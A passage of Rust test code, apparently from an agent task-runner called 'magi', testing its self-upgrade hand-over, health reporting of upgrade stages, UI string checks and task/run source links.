15032 assert!(health["update"]["to"].is_null());
15033 assert!(
15034 health["upgrade"].is_null(),
15035 "nothing has ever asked this deck to upgrade"
15036 );
15037 }
15038
15039 #[tokio::test]
15040 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
15041 let fx = Fixture::start().await;
15042 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
15043
15044 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15045 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15046 progress.advance(crate::updater::Stage::Parking);
15047 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15048
15049 let health = fx.get("/api/health").await.json();
15050 assert_eq!(health["upgrade"]["stage"], "parking");
15051 assert_eq!(health["upgrade"]["from"], "0.5.1");
15052 assert_eq!(health["upgrade"]["to"], "0.5.2");
15053 let waiting_on = health["upgrade"]["waiting_on"]
15054 .as_str()
15055 .expect("waiting_on is set while parking a known run");
15056 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15057 assert!(waiting_on.contains("implementing"), "{waiting_on}");
15058 }
15059
15060 #[tokio::test]
15061 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
15062 let fx = Fixture::start().await;
15063 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15064 progress.advance(crate::updater::Stage::Done);
15065 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15066
15067 let health = fx.get("/api/health").await.json();
15068 assert_eq!(health["upgrade"]["stage"], "done");
15069 assert!(
15070 health["upgrade"]["waiting_on"].is_null(),
15071 "nothing to wait on once it is done"
15072 );
15073 }
15074
15075 #[tokio::test]
15076 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
15077 let home = TempDir::new().expect("temp home");
15078 let runs = home.path().join("runs");
15079 std::fs::create_dir_all(&runs).expect("runs dir");
15080 let ui = Ui::new(
15081 Queue::at(home.path().join("queue")),
15082 Questions::at(home.path().join("questions")),
15083 Talks::at(home.path().join("talks")),
15084 runs,
15085 home.path().to_path_buf(),
15086 PathBuf::from("/repo/magi"),
15087 )
15088 .with_launch(launch_idle);
15089 let looping = ui.looping();
15090 let turns = ui.turns();
15091 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15092 .await
15093 .expect("bind loopback");
15094 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15095
15096 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15097 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15098
15099 hand_over(
15100 home.path(),
15101 &looping,
15102 &turns,
15103 &|_: &[String]| Duration::from_secs(5),
15104 served,
15105 |_| Ok(1),
15106 )
15107 .await
15108 .expect("hand over");
15109
15110 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
15111 assert_eq!(
15112 after.stage,
15113 crate::updater::Stage::Restarting,
15114 "hand_over owns the record through parking and up to restarting; \
15115 the successor is what finishes it"
15116 );
15117 }
15118
15119 #[tokio::test]
15122 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
15123 for fail in [false, true] {
15124 let home = TempDir::new().expect("temp home");
15125 let ui = idle_ui(&home);
15126 let looping = ui.looping();
15127 let turns = ui.turns();
15128 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15129 .await
15130 .expect("bind loopback");
15131 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15132 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15133 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15134
15135 let calls = std::sync::atomic::AtomicUsize::new(0);
15136 let outcome = hand_over(
15137 home.path(),
15138 &looping,
15139 &turns,
15140 &|_: &[String]| Duration::from_secs(5),
15141 served,
15142 |_| {
15143 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15144 if fail {
15145 anyhow::bail!("no exec")
15146 } else {
15147 Ok(4242)
15148 }
15149 },
15150 )
15151 .await;
15152 assert_eq!(outcome.is_err(), fail);
15153 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15154
15155 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15156 .expect("upgrade.log is written under the home");
15157 for step in [
15158 "entered",
15159 "finish_loop",
15160 "listener released",
15161 "starting the successor",
15162 ] {
15163 assert!(log.contains(step), "missing `{step}` in:\n{log}");
15164 }
15165 assert!(
15166 log.contains(if fail { "did not start" } else { "pid 4242" }),
15167 "{log}"
15168 );
15169 }
15170 }
15171
15172 #[tokio::test]
15175 async fn the_handover_signal_wakes_one_waiter_once() {
15176 let signal = Notify::new();
15177 signal.notify_one();
15179 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15180 .await
15181 .expect("an early signal is still seen");
15182 assert!(
15184 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15185 .await
15186 .is_err(),
15187 "a consumed signal must not wake a second time"
15188 );
15189 let signal = std::sync::Arc::new(signal);
15191 let waiter = tokio::spawn({
15192 let signal = std::sync::Arc::clone(&signal);
15193 async move { wait_for_handover(&signal).await }
15194 });
15195 tokio::time::sleep(Duration::from_millis(20)).await;
15196 assert!(!waiter.is_finished(), "nothing was signalled yet");
15197 signal.notify_one();
15198 tokio::time::timeout(Duration::from_secs(5), waiter)
15199 .await
15200 .expect("a late signal wakes the waiter")
15201 .expect("join");
15202 }
15203
15204 #[tokio::test]
15205 async fn health_says_how_long_a_handover_has_been_stuck() {
15206 let fx = Fixture::start().await;
15207 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15208 progress.advance(crate::updater::Stage::Replaced);
15209 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15210 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15211
15212 let health = fx.get("/api/health").await.json();
15213 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15214 assert!(stuck >= 600, "{stuck}");
15215 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15216 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15217 }
15218
15219 #[tokio::test]
15220 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15221 let home = tempfile::tempdir().expect("temp home");
15222 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15223 progress.advance(crate::updater::Stage::Parking);
15224 crate::updater::write_progress(home.path(), &progress).expect("seed");
15225 let mut again = progress.clone();
15227 again.advance(crate::updater::Stage::Replaced);
15228 crate::updater::write_progress(home.path(), &again).expect("replaced");
15229 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15230 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15231 let after = crate::updater::read_progress(home.path()).expect("record");
15232 assert_eq!(after.stage, crate::updater::Stage::Parking);
15233 }
15234
15235 #[tokio::test]
15236 async fn health_does_not_call_a_live_parking_wait_stuck() {
15237 let fx = Fixture::start().await;
15238 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15239 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15240 progress.advance(crate::updater::Stage::Parking);
15241 let hours = Duration::from_secs(3 * 3600);
15242 progress.started_at = Timestamp::now() - hours;
15243 progress.updated_at = Timestamp::now() - hours;
15244 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15245 let _lease = crate::updater::LeaseGuard::enter(
15246 fx.home.path(),
15247 Some("20260905-000000-cd51".to_owned()),
15248 );
15249
15250 let health = fx.get("/api/health").await.json();
15251 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15252 assert!(health["upgrade"]["stuck_kind"].is_null());
15253 assert_eq!(health["upgrade"]["handover_alive"], true);
15254 let waiting_on = health["upgrade"]["waiting_on"]
15255 .as_str()
15256 .expect("waiting_on");
15257 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15258 }
15259
15260 fn idle_ui(home: &TempDir) -> Ui {
15261 let runs = home.path().join("runs");
15262 std::fs::create_dir_all(&runs).expect("runs dir");
15263 Ui::new(
15264 Queue::at(home.path().join("queue")),
15265 Questions::at(home.path().join("questions")),
15266 Talks::at(home.path().join("talks")),
15267 runs,
15268 home.path().to_path_buf(),
15269 PathBuf::from("/repo/magi"),
15270 )
15271 .with_launch(launch_idle)
15272 }
15273
15274 async fn park_fixture(
15275 home: &TempDir,
15276 ) -> (
15277 Ui,
15278 Arc<Mutex<LoopState>>,
15279 Arc<Mutex<TalkTurns>>,
15280 tokio::task::JoinHandle<std::io::Result<()>>,
15281 ) {
15282 let ui = idle_ui(home);
15283 let looping = ui.looping();
15284 let turns = ui.turns();
15285 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15286 .await
15287 .expect("bind loopback");
15288 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
15289 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15290 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15291 (ui, looping, turns, served)
15292 }
15293
15294 #[tokio::test]
15298 async fn hand_over_waits_for_a_running_chat_turn() {
15299 let home = TempDir::new().expect("temp home");
15300 let (ui, looping, turns, served) = park_fixture(&home).await;
15301 let ui = Arc::new(ui);
15302 let id = "20260901-000000-chat";
15303 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15304
15305 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15306 let handover = tokio::spawn({
15307 let home = home.path().to_path_buf();
15308 let turns = Arc::clone(&turns);
15309 let calls = Arc::clone(&calls);
15310 async move {
15311 hand_over(
15312 &home,
15313 &looping,
15314 &turns,
15315 &|_: &[String]| Duration::from_secs(60),
15316 served,
15317 move |_| {
15318 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15319 Ok(1)
15320 },
15321 )
15322 .await
15323 }
15324 });
15325
15326 let waiting = async {
15327 for _ in 0..200 {
15328 if crate::updater::read_progress(home.path())
15329 .is_some_and(|p| p.parked_talks == [id.to_owned()])
15330 {
15331 return;
15332 }
15333 tokio::time::sleep(Duration::from_millis(25)).await;
15334 }
15335 panic!("the park never named the chat turn");
15336 };
15337 waiting.await;
15338 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15339
15340 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15343 assert!(
15344 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15345 "a direct start says an upgrade is in progress"
15346 );
15347 assert!(
15348 ui.begin_queued_talk_turn("20260901-000000-late")
15349 .expect("queued claim")
15350 .is_none()
15351 );
15352 assert!(matches!(
15353 ui.begin_talk_turn_unless_pending("20260901-000000-late")
15354 .expect("start"),
15355 TalkTurnStart::Busy
15356 ));
15357 assert_eq!(turns.lock().unwrap().live.len(), 1);
15358
15359 let progress = crate::updater::read_progress(home.path()).expect("progress");
15361 let view = upgrade_progress_view(&ui, progress);
15362 assert!(
15363 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
15364 "{:?}",
15365 view.waiting_on
15366 );
15367
15368 assert!(!handover.is_finished());
15369 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15370 drop(turn);
15371 handover.await.expect("join").expect("hand over");
15372 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15373 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15374 }
15375
15376 #[tokio::test]
15379 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
15380 let home = TempDir::new().expect("temp home");
15381 let (ui, looping, turns, served) = park_fixture(&home).await;
15382 let ui = Arc::new(ui);
15383 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
15385 lock_or_recover(&looping).live = Some(Live {
15386 stop: daemon::Stop::new(),
15387 handle: tokio::spawn(async move {
15388 let _ = loop_ended.await;
15389 }),
15390 opts: daemon::Opts::default(),
15391 });
15392
15393 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15394 let handover = tokio::spawn({
15395 let home = home.path().to_path_buf();
15396 let turns = Arc::clone(&turns);
15397 let calls = Arc::clone(&calls);
15398 async move {
15399 hand_over(
15400 &home,
15401 &looping,
15402 &turns,
15403 &|_: &[String]| Duration::from_secs(60),
15404 served,
15405 move |_| {
15406 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15407 Ok(1)
15408 },
15409 )
15410 .await
15411 }
15412 });
15413
15414 let reached = async {
15415 for _ in 0..200 {
15416 if crate::updater::read_progress(home.path())
15417 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
15418 {
15419 return;
15420 }
15421 tokio::time::sleep(Duration::from_millis(25)).await;
15422 }
15423 panic!("the hand-over never reached parking");
15424 };
15425 reached.await;
15426
15427 assert!(!turns.lock().unwrap().parking);
15429 let turn = ui
15430 .begin_talk_turn("20260901-000000-chat")
15431 .expect("claim")
15432 .expect("a turn can start while the loop parks");
15433
15434 end_loop.send(()).expect("loop still waiting");
15436 for _ in 0..200 {
15437 if turns.lock().unwrap().parking {
15438 break;
15439 }
15440 tokio::time::sleep(Duration::from_millis(25)).await;
15441 }
15442 assert!(
15443 turns.lock().unwrap().parking,
15444 "closed once the loop is done"
15445 );
15446 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15447 assert!(
15448 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15449 "no turn starts once the loop is done"
15450 );
15451 assert!(
15452 ui.begin_queued_talk_turn("20260901-000000-late")
15453 .expect("queued claim")
15454 .is_none()
15455 );
15456 assert!(!handover.is_finished());
15457 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15458
15459 drop(turn);
15460 handover.await.expect("join").expect("hand over");
15461 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15462 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15463 }
15464
15465 #[tokio::test]
15468 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
15469 let home = TempDir::new().expect("temp home");
15470 let (ui, looping, turns, served) = park_fixture(&home).await;
15471 let id = "20260901-000000-stuk";
15472 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15473
15474 let calls = std::sync::atomic::AtomicUsize::new(0);
15475 hand_over(
15476 home.path(),
15477 &looping,
15478 &turns,
15479 &|_: &[String]| Duration::from_millis(300),
15480 served,
15481 |_| {
15482 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15483 Ok(1)
15484 },
15485 )
15486 .await
15487 .expect("hand over");
15488 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15489
15490 let progress = crate::updater::read_progress(home.path()).expect("progress");
15491 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
15492 assert!(
15493 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
15494 "{:?}",
15495 progress.detail
15496 );
15497 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
15498 assert!(
15499 log.contains("handing over anyway") && log.contains(id),
15500 "{log}"
15501 );
15502 }
15503
15504 #[tokio::test]
15507 async fn drain_loop_starts_no_turn_while_parking() {
15508 let tmp = TempDir::new().expect("tempdir");
15509 let repo = tmp.path().join("repo");
15510 std::fs::create_dir_all(&repo).expect("repo dir");
15511 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15512 let home = TempDir::new().expect("temp home");
15513 let talks = Talks::at(home.path().join("talks"));
15514 let ui = Ui::new(
15515 Queue::at(home.path().join("queue")),
15516 Questions::at(home.path().join("questions")),
15517 talks.clone(),
15518 home.path().join("runs"),
15519 home.path().to_path_buf(),
15520 repo.clone(),
15521 )
15522 .with_worktrees_root(home.path().join("wt"));
15523 let cfg = config_for(&repo).await.expect("discover config");
15524 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15525 let id = talk.id.clone();
15526 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
15527 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
15528 let turns = ui.turns();
15529 let parking = ParkingTurns::begin(&turns);
15530
15531 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
15532
15533 assert!(
15534 turns.lock().unwrap().live.is_empty(),
15535 "the slot is given up"
15536 );
15537 let fresh = talks.get(&id).expect("talk");
15538 assert_eq!(fresh.pending, "later", "the draft is still queued");
15539 assert!(fresh.turns.is_empty(), "no turn ran");
15540 drop(parking);
15541 }
15542
15543 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
15545 let looping = ui.looping();
15546 let turns = ui.turns();
15547 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15548 .await
15549 .expect("bind loopback");
15550 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15551 let told = std::sync::Mutex::new(None);
15552 hand_over(
15553 home.path(),
15554 &looping,
15555 &turns,
15556 &|_: &[String]| Duration::from_secs(5),
15557 served,
15558 |resume| {
15559 *told.lock().unwrap() = Some(resume);
15560 Ok(1)
15561 },
15562 )
15563 .await
15564 .expect("hand over");
15565 told.into_inner().unwrap().expect("successor was started")
15566 }
15567
15568 #[tokio::test]
15569 async fn a_running_loop_is_resumed_by_the_successor() {
15570 let home = TempDir::new().expect("temp home");
15571 let ui = idle_ui(&home);
15572 ui.start_loop(None).expect("start");
15573 ui.park_for_upgrade().expect("park");
15574 for _ in 0..500 {
15576 if !ui.loop_view(None).running {
15577 break;
15578 }
15579 tokio::time::sleep(Duration::from_millis(2)).await;
15580 }
15581 assert!(handed_over(&home, ui).await, "a running loop must resume");
15582
15583 let successor = idle_ui(&home);
15584 assert!(!successor.loop_view(None).running);
15585 assert!(successor.resume_after_handover(true));
15586 assert!(successor.loop_view(None).running);
15587 successor.stop_loop(None, false).expect("stop");
15588 }
15589
15590 #[tokio::test]
15591 async fn a_second_upgrade_request_keeps_the_resume_intent() {
15592 let home = TempDir::new().expect("temp home");
15593 let ui = idle_ui(&home);
15594 ui.start_loop(None).expect("start");
15595 ui.park_for_upgrade().expect("first park");
15596 ui.park_for_upgrade().expect("second park");
15597 assert!(handed_over(&home, ui).await);
15598 }
15599
15600 #[tokio::test]
15601 async fn a_stop_during_the_handover_wait_is_honoured() {
15602 let home = TempDir::new().expect("temp home");
15603 let ui = idle_ui(&home);
15604 ui.start_loop(None).expect("start");
15605 ui.park_for_upgrade().expect("park");
15606 ui.stop_loop(None, false).expect("stop");
15607 assert!(!handed_over(&home, ui).await);
15608 }
15609
15610 #[tokio::test]
15611 async fn an_idle_loop_stays_stopped_across_the_handover() {
15612 let home = TempDir::new().expect("temp home");
15613 let ui = idle_ui(&home);
15614 ui.park_for_upgrade().expect("park");
15615 assert!(!handed_over(&home, ui).await);
15616
15617 let successor = idle_ui(&home);
15618 assert!(!successor.resume_after_handover(false));
15619 assert!(!successor.loop_view(None).running);
15620 }
15621
15622 #[tokio::test]
15623 async fn a_loop_the_operator_stopped_is_not_resumed() {
15624 let home = TempDir::new().expect("temp home");
15625 let ui = idle_ui(&home);
15626 ui.start_loop(None).expect("start");
15627 ui.stop_loop(None, false).expect("stop");
15628 ui.park_for_upgrade().expect("park");
15629 assert!(!handed_over(&home, ui).await);
15630 }
15631
15632 #[test]
15633 fn only_an_explicit_one_requests_a_resume() {
15634 assert!(!resume_requested(None));
15635 assert!(!resume_requested(Some("0".into())));
15636 assert!(!resume_requested(Some("".into())));
15637 assert!(resume_requested(Some("1".into())));
15638 }
15639
15640 #[test]
15641 fn the_upgrade_button_arms_before_it_restarts_anything() {
15642 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15645 assert!(APP_JS.contains("Replace the binary and restart?"));
15646 assert!(APP_JS.contains("function confirmed("));
15647 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15652 assert!(
15656 APP_JS.contains("Parking, then restarting"),
15657 "the button says what it is waiting for"
15658 );
15659 assert!(APP_JS.contains("if (!out.to)"));
15662 }
15663
15664 #[test]
15665 fn stopping_the_loop_arms_but_starting_does_not() {
15666 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
15669 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
15670 assert!(APP_JS.contains("confirmed(button, question)"));
15671 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
15674 assert!(APP_JS.contains("const label = btn.textContent;"));
15675 assert!(!APP_JS.contains("Neither direction is guarded"));
15676 }
15677
15678 #[test]
15679 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
15680 assert!(
15681 APP_JS.contains("state.health.version"),
15682 "the operator wants to know what is running even with nothing newer"
15683 );
15684 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
15685 }
15686
15687 #[test]
15688 fn the_upgrade_button_names_its_destination() {
15689 assert!(
15690 APP_JS.contains("`Update to ${update.to}`"),
15691 "pressing the button should not be a surprise about what it moves to"
15692 );
15693 }
15694
15695 #[test]
15696 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
15697 for stage in ["downloading", "replaced", "parking", "restarting"] {
15698 assert!(
15699 APP_JS.contains(&format!("\"{stage}\"")),
15700 "the phone must be able to tell {stage} apart from the others"
15701 );
15702 }
15703 assert!(APP_JS.contains(".waiting_on"));
15704 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
15709 assert!(APP_JS.contains("reconnects on its own"));
15710 }
15711
15712 #[test]
15713 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
15714 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
15723 ..APP_JS.find("function upgrade(").expect("upgrade")];
15724 assert!(
15725 !body.contains(
15726 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
15727 ),
15728 "a failed upgrade must not take the whole strip over the way it used to"
15729 );
15730 assert!(
15731 body.contains("upgradeFailNote"),
15732 "the failure has to reach the loop's own note instead"
15733 );
15734 assert_eq!(
15738 body.matches("upgradeFailNote].filter(Boolean).join")
15739 .count(),
15740 2,
15741 "both loop-why writers (quiet and control) must fold the note in"
15742 );
15743 }
15744
15745 #[test]
15746 fn an_overdue_upgrade_eventually_asks_for_a_human() {
15747 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
15750 assert!(APP_JS.contains("function upgradeOverdue("));
15751 }
15752
15753 #[test]
15754 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
15755 assert!(
15756 APP_JS.contains("Updated to ${upgradeInfo.to"),
15757 "the operator who asked for the restart wants to know it worked"
15758 );
15759 }
15760
15761 #[test]
15762 fn an_error_is_visible_from_where_the_button_is() {
15763 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
15768 ..APP_CSS.find(".alert-text").expect(".alert-text")];
15769 assert!(
15770 alert.contains("position: fixed"),
15771 "an error about the thing under your thumb has to be visible from \
15772 where your thumb is: {alert}"
15773 );
15774 assert!(
15775 alert.contains("z-index: 25"),
15776 "above the dock (20) and the run-actions FAB (15), so neither \
15777 buries it: {alert}"
15778 );
15779 assert!(
15780 alert.contains("var(--tap)"),
15781 "and clear of the dock and the home indicator: {alert}"
15782 );
15783 assert!(
15786 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
15787 "the FAB's column stays free: {alert}"
15788 );
15789 }
15790
15791 #[tokio::test]
15792 async fn an_older_attempt_says_what_replaced_it() {
15793 let fx = Fixture::start().await;
15794 let q = fx.queue();
15795 let runs = fx.runs();
15796 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15797 write_run(&runs, first, RunStatus::Stalled);
15798 write_run(&runs, second, RunStatus::Blocked);
15799
15800 let mut t = Task::new(
15801 "one task".to_owned(),
15802 "do it".to_owned(),
15803 PathBuf::from("/repo"),
15804 Source::Human,
15805 );
15806 t.runs = vec![first.to_owned(), second.to_owned()];
15807 q.put(&mut t).expect("put");
15808
15809 let rows = fx.get("/api/runs").await.json();
15813 let by = |short: &str| -> Value {
15814 rows.as_array()
15815 .unwrap()
15816 .iter()
15817 .find(|r| r["short"] == short)
15818 .cloned()
15819 .unwrap_or(Value::Null)
15820 };
15821 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
15822 assert!(
15823 by("bbbb")["superseded_by"].is_null(),
15824 "the latest attempt is not superseded by anything"
15825 );
15826 assert!(APP_JS.contains("run.superseded_by"));
15828 assert!(APP_JS.contains("Superseded by"));
15829 }
15830
15831 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
15832 let mut t = Task::new(
15833 "one task".to_owned(),
15834 "do it".to_owned(),
15835 PathBuf::from("/repo"),
15836 Source::Human,
15837 );
15838 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15839 t.status = status;
15840 t
15841 }
15842
15843 #[test]
15844 fn source_link_picks_the_page_that_filed_the_task() {
15845 let agent = |node: &str| Source::Agent {
15846 run: "20260904-014455-ab12".to_owned(),
15847 node: node.to_owned(),
15848 };
15849 let chat = source_link(&agent("chat")).expect("chat link");
15850 assert_eq!(chat.kind, "chat");
15851 assert_eq!(chat.id, "20260904-014455-ab12");
15852 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
15853 let run = source_link(&agent("implement")).expect("run link");
15854 assert_eq!(
15855 (run.kind, run.href.as_str()),
15856 ("run", "#/runs/20260904-014455-ab12")
15857 );
15858 assert_eq!(source_link(&Source::Human), None);
15859 assert_eq!(
15860 source_link(&Source::Issue {
15861 number: 3,
15862 repo: "o/r".to_owned()
15863 }),
15864 None
15865 );
15866 let odd = source_link(&Source::Agent {
15867 run: "a b/c".to_owned(),
15868 node: "chat".to_owned(),
15869 })
15870 .expect("link");
15871 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
15872 }
15873
15874 #[test]
15875 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
15876 assert!(
15877 !APP_JS.contains("src.node === \"chat\""),
15878 "inline href rule is back"
15879 );
15880 assert!(
15881 APP_JS.matches("sourceLinkOf(").count() >= 4,
15882 "helper must serve every page"
15883 );
15884 assert!(
15885 APP_JS.matches("openChatLink(").count() >= 3,
15886 "the run page still needs its explicit chat link"
15887 );
15888 assert!(
15889 !APP_JS.contains("const openChat = el("),
15890 "the Queue card duplicates its source label link again"
15891 );
15892 assert!(
15893 APP_JS.contains("metaKids.push(link ? el(\"a\""),
15894 "the task page must link a chat source label too"
15895 );
15896 }
15897
15898 #[test]
15899 fn task_ref_carries_the_source_link_for_a_chat_task() {
15900 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15901 t.source = Source::Agent {
15902 run: "20260904-014455-ab12".to_owned(),
15903 node: "chat".to_owned(),
15904 };
15905 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
15906 let v = serde_json::to_value(&out).expect("json");
15907 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
15908 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
15909 assert_eq!(v["source_label"], t.source.label());
15910
15911 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15912 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
15913 .expect("json");
15914 assert!(v["source_link"].is_null(), "{v}");
15915 }
15916
15917 #[test]
15918 fn task_view_serializes_source_link() {
15919 let mut t = Task::new(
15920 "t".to_owned(),
15921 "t".to_owned(),
15922 PathBuf::from("/repo"),
15923 Source::Agent {
15924 run: "20260901-000000-aaaa".to_owned(),
15925 node: "implement".to_owned(),
15926 },
15927 );
15928 t.runs.clear();
15929 let v = serde_json::to_value(TaskView::from(t)).expect("json");
15930 assert_eq!(v["source_link"]["kind"], "run", "{v}");
15931 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
15932 }
15933
15934 #[tokio::test]
15935 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
15936 let fx = Fixture::start().await;
15937 let runs = fx.runs();
15938 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15939 write_run(&runs, old, RunStatus::Blocked);
15940 write_run(&runs, new, RunStatus::Merged);
15941 let mut t = outcome_task(&[old, new], TaskStatus::Done);
15942 fx.queue().put(&mut t).expect("put");
15943
15944 let view = fx.get(&format!("/api/runs/{old}")).await.json();
15945 let task = &view["task"];
15946 assert_eq!(task["status"], "done");
15947 assert_eq!(task["is_latest"], false);
15948 assert_eq!(task["latest"]["short"], "bbbb");
15949 assert_eq!(task["finished_by"]["id"], new);
15950 assert_eq!(task["finished_by"]["outcome"], "merged");
15951 assert_eq!(task["closed_by_hand"], false);
15952 assert_eq!(view["status"], "blocked", "the run keeps its own status");
15953 assert!(APP_JS.contains("finished_by"));
15954 assert!(APP_JS.contains("superseded by run"));
15955 }
15956
15957 #[tokio::test]
15958 async fn the_latest_run_reports_a_held_task_without_a_successor() {
15959 let fx = Fixture::start().await;
15960 let runs = fx.runs();
15961 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15962 write_run(&runs, old, RunStatus::Stalled);
15963 write_run(&runs, new, RunStatus::Blocked);
15964 let mut t = outcome_task(&[old, new], TaskStatus::Held);
15965 fx.queue().put(&mut t).expect("put");
15966
15967 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
15968 assert_eq!(task["status"], "held");
15969 assert_eq!(task["is_latest"], true);
15970 assert!(task["latest"].is_null());
15971 assert!(task["finished_by"].is_null());
15972 assert_eq!(task["closed_by_hand"], false);
15973 }
15974
15975 #[tokio::test]
15976 async fn a_direct_run_has_no_task_outcome() {
15977 let fx = Fixture::start().await;
